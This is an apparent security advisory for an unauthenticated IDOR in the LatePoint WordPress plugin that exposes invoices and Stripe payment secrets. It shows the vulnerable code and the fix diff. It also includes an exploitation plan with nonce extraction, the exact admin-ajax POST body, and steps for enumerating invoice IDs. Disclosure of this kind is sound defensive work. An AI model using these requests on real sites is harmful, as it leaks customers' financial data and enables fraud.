CVE-2026-5234

LatePoint <= 5.3.2 - Insecure Direct Object Reference to Unauthenticated Sensitive Financial Data Exposure via Sequential Invoice ID

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.4.0
Patched in
1d
Time to patch

Description

The LatePoint plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.3.2. The vulnerability exists because the OsStripeConnectController::create_payment_intent_for_transaction action is registered as a public action (no authentication required) and loads invoices by sequential integer invoice_id without any access_key or ownership verification. This is in contrast to other invoice-related actions (view_by_key, payment_form, summary_before_payment) in OsInvoicesController which properly require a cryptographic UUID access_key. This makes it possible for unauthenticated attackers to enumerate valid invoice IDs via an error message oracle, create unauthorized transaction intent records in the database containing sensitive financial data (invoice_id, order_id, customer_id, charge_amount), and on sites with Stripe Connect configured, the response also leaks Stripe payment_intent_client_secret tokens, transaction_intent_key values, and payment amounts for any invoice.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.3.2
PublishedApril 16, 2026
Last updatedApril 17, 2026
Affected pluginlatepoint

What Changed in the Fix

Changes introduced in v5.4.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-5234 (LatePoint IDOR) ## 1. Vulnerability Summary The LatePoint plugin (<= 5.3.2) contains an Insecure Direct Object Reference (IDOR) vulnerability in the `OsStripeConnectController::create_payment_intent_for_transaction` method. This action is registered as p…

Show full research plan

Exploitation Research Plan: CVE-2026-5234 (LatePoint IDOR)

1. Vulnerability Summary

The LatePoint plugin (<= 5.3.2) contains an Insecure Direct Object Reference (IDOR) vulnerability in the OsStripeConnectController::create_payment_intent_for_transaction method. This action is registered as public (unauthenticated) but fails to implement any authorization checks or cryptographic key verification when loading an invoice by its sequential integer invoice_id. An attacker can iterate through invoice IDs to create transaction intents, leak Stripe client secrets (if configured), and obtain transaction_intent_key values which grant further access to financial details.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: latepoint_route_call (The general AJAX dispatcher for LatePoint)
  • Route Name: stripe_connect__create_payment_intent_for_transaction (Derived from controller OsStripeConnectController and method create_payment_intent_for_transaction)
  • Vulnerable Parameter: params[invoice_id] (sequential integer)
  • Authentication: Unauthenticated (public access level in controller)
  • Preconditions: The LatePoint plugin must be active. Exploitation of the Stripe-specific leak requires Stripe Connect to be configured, but the IDOR and Oracle aspects exist regardless.

3. Code Flow

  1. Entry Point: A request is sent to admin-ajax.php with action=latepoint_route_call.
  2. Routing: The OsController dispatcher (referenced in admin.js as latepoint_helper.route_action) identifies the route stripe_connect__create_payment_intent_for_transaction.
  3. Authorization: In lib/controllers/stripe_connect_controller.php, the __construct method registers the action as public:
    $this->action_access['public'] = array_merge( $this->action_access['public'], [ ..., 'create_payment_intent_for_transaction', ... ] );
    
  4. Processing: The method create_payment_intent_for_transaction is called.
  5. IDOR Sink: The code takes invoice_id directly from params and instantiates the model without owner verification:
    $invoice = new OsInvoiceModel( $this->params['invoice_id'] );
    $transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params );
    
  6. Leak: If successful, the response includes transaction_intent_key and potentially payment_intent_secret.

4. Nonce Acquisition Strategy

LatePoint typically requires a nonce for its AJAX dispatcher (latepoint_route_call). This nonce is usually localized into the latepoint_helper JavaScript object.

Discovery Steps:

  1. Identify Script Localization: The plugin localizes data in its main initialization.
  2. Create Trigger Page: Create a page containing a LatePoint booking shortcode to ensure scripts are enqueued.
    • Shortcode: [latepoint_book_button] or [latepoint_booking_form]
  3. Browser Extraction:
    • Use browser_navigate to visit the page.
    • Use browser_eval to extract the nonce: window.latepoint_helper?.nonce or window.latepoint_helper?.route_nonce.

5. Exploitation Strategy

The goal is to enumerate invoice_id values and receive success responses indicating valid invoices.

Step-by-Step Plan:

  1. Nonce Extraction: Obtain the latepoint_helper.nonce using the strategy in Section 4.
  2. Attack Request: Send a POST request to admin-ajax.php.
    • URL: http://<target>/wp-admin/admin-ajax.php
    • Body (URL-encoded):
      action=latepoint_route_call
      &route_name=stripe_connect__create_payment_intent_for_transaction
      &params[invoice_id]=1
      &return_format=json
      &_wpnonce=<NONCE>
      
  3. Response Analysis:
    • Success (200 OK): If status: "success" is returned, the invoice_id is valid.
    • Data Leaked: Capture the transaction_intent_key and continue_transaction_intent_url.
  4. Enumeration: Repeat for invoice_id=2, 3, etc.

6. Test Data Setup

To verify the vulnerability, data must exist in the database:

  1. Create Customer: wp eval "OsCustomerHelper::create_customer(['first_name' => 'John', 'last_name' => 'Doe', 'email' => 'victim@example.com']);"
  2. Create Invoice:
    wp eval "
    \$invoice = new OsInvoiceModel();
    \$invoice->set_data(['customer_id' => 1, 'amount' => 100, 'status' => 'pending']);
    \$invoice->save();
    echo 'Created Invoice ID: ' . \$invoice->id;
    "
    
  3. Configure Stripe (Optional/Mock): For full impact (secret leak), Stripe settings must be set in wp_options or via OsSettingsHelper.

7. Expected Results

A successful exploit will return a JSON object:

{
  "status": "success",
  "continue_transaction_intent_url": "http://target/latepoint/continue-intent/TOKEN",
  "payment_intent_id": "pi_...",
  "payment_intent_secret": "pi_..._secret_...",
  "transaction_intent_key": "TRANS_TOKEN"
}

If the ID does not exist, it will likely return an error message or a blank model error, acting as an Oracle for valid invoice IDs.

8. Verification Steps

  1. Check Transaction Intents: Use WP-CLI to see if a new intent was created for the target invoice:
    wp db query "SELECT * FROM wp_latepoint_transaction_intents ORDER BY id DESC LIMIT 1;"
    
  2. Verify Leak: Confirm the transaction_intent_key in the DB matches the one returned in the AJAX response.

9. Alternative Approaches

If stripe_connect__create_payment_intent_for_transaction is blocked by server-side config (e.g., Stripe not enabled), the Oracle still exists because OsInvoiceModel is instantiated. Check for generic error messages like "Stripe connect account ID not set" vs "Invalid Invoice" to determine existence.

Note on Identifier Precision:

  • Controller Action: stripe_connect__create_payment_intent_for_transaction
  • JS Helper: latepoint_helper
  • Nonce Key: nonce (local to latepoint_helper)
  • Parameter: params[invoice_id] (found in OsStripeConnectController::create_payment_intent_for_transaction)
Research Findings
Static analysis — not yet PoC-verified

Summary

The LatePoint plugin for WordPress is vulnerable to an unauthenticated Insecure Direct Object Reference (IDOR) via the stripe_connect__create_payment_intent_for_transaction route. Attackers can iterate through sequential invoice IDs to generate transaction records and leak sensitive financial data, including Stripe payment intent client secrets and transaction tokens.

Vulnerable Code

// lib/controllers/stripe_connect_controller.php line 24
$this->action_access['public']   = array_merge( $this->action_access['public'], [ 'webhook', 'create_payment_intent_for_transaction', 'create_payment_intent' ] );

---

// lib/controllers/stripe_connect_controller.php line 30
public function create_payment_intent_for_transaction() {
    if ( ! filter_var( $this->params['invoice_id'], FILTER_VALIDATE_INT ) ) {
        exit();
    }
    try {
        // Vulnerability: Loading an invoice by sequential ID without verifying ownership or a cryptographic access key
        $invoice = new OsInvoiceModel( $this->params['invoice_id'] );

        $transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params );

Security Fix

--- a/lib/controllers/stripe_connect_controller.php
+++ b/lib/controllers/stripe_connect_controller.php
@@ -28,9 +28,11 @@
 		}
 
 		public function create_payment_intent_for_transaction() {
-			if ( ! filter_var( $this->params['invoice_id'], FILTER_VALIDATE_INT ) ) {
+			if ( empty( $this->params['invoice_key'] ) ) {
 				exit();
 			}
 			try {
-
-				$invoice = new OsInvoiceModel( $this->params['invoice_id'] );
+				$invoice = new OsInvoiceModel();
+				$invoice = $invoice->where(['access_key' => $this->params['invoice_key']])->set_limit(1)->find();
+				if ( ! $invoice->id ) throw new Exception( __( 'Invalid Invoice', 'latepoint' ) );
 
 				$transaction_intent = OsTransactionIntentHelper::create_or_update_transaction_intent( $invoice, $this->params );

Exploit Outline

The exploit involves unauthenticated interaction with the LatePoint AJAX dispatcher. An attacker first obtains a valid AJAX nonce, typically localized in the 'latepoint_helper' JavaScript object on any page displaying a booking form. Using this nonce, the attacker sends a POST request to wp-admin/admin-ajax.php with the action 'latepoint_route_call' and the route_name 'stripe_connect__create_payment_intent_for_transaction'. By providing a sequential integer in the 'params[invoice_id]' parameter, the attacker can iterate through IDs. A successful response confirms the existence of the invoice and returns a JSON object containing the 'transaction_intent_key' and 'payment_intent_secret', allowing the attacker to view or manipulate financial transaction data associated with that invoice.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.